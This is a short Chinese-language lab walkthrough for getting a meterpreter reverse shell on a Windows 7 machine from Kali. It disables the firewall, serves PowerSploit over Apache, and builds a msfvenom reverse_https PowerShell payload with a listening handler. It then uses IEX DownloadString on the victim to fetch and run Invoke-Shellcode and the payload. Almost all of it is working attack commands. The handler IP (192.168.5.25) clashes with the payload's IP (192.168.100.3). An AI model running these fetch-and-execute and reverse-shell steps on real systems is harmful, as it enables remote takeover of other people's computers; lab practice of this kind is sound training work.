准备
虚拟机 | IP |
kali | 192.168.100.3 |
windows 7 | 192.168.100.252 |
1. kali 跟 win 7 关闭防火墙
kali关闭防火墙控制软件
apt-get install ufw //下载ufw
ufw disable //关闭防火墙
2. kali 与 win 7 必须ping通
Kali 配置
安装PowerSploit
#下载 PowerSploit
git clone https://github.com/PowerShellMafia/PowerSploit
#启动 apache2
service apache2 start
#将 PowerSploit 移动到 apache 的 html 下
mv PowerSploit /var/www/html
msfconsole 反弹
#打开 msfconsole
msfconsole
#进入 exploit/multi/handler 文件下
use exploit/multi/handler
#修改 payload 地址
set payload windows/meterpreter/reverse_https
#修改 IP 地址
set lhost 192.168.5.25
# 修改 端口号(一定是要修改一个没有被占用的端口号)
set lport 4444
另开一个终端
# 升成 PowerSploit 脚本木马
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.100.3 LPORT=4444 -f powershell -o /var/www/html/test
Win 7 配置
启动 PowerShell
#下载脚本
IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.3/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
#下载木马脚本
IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.3/test")
#执行第一个下载的脚本 -Force:不用提示直接启动
Invoke-Shellcode -Shellcode ($buf) -Force
进入kali查看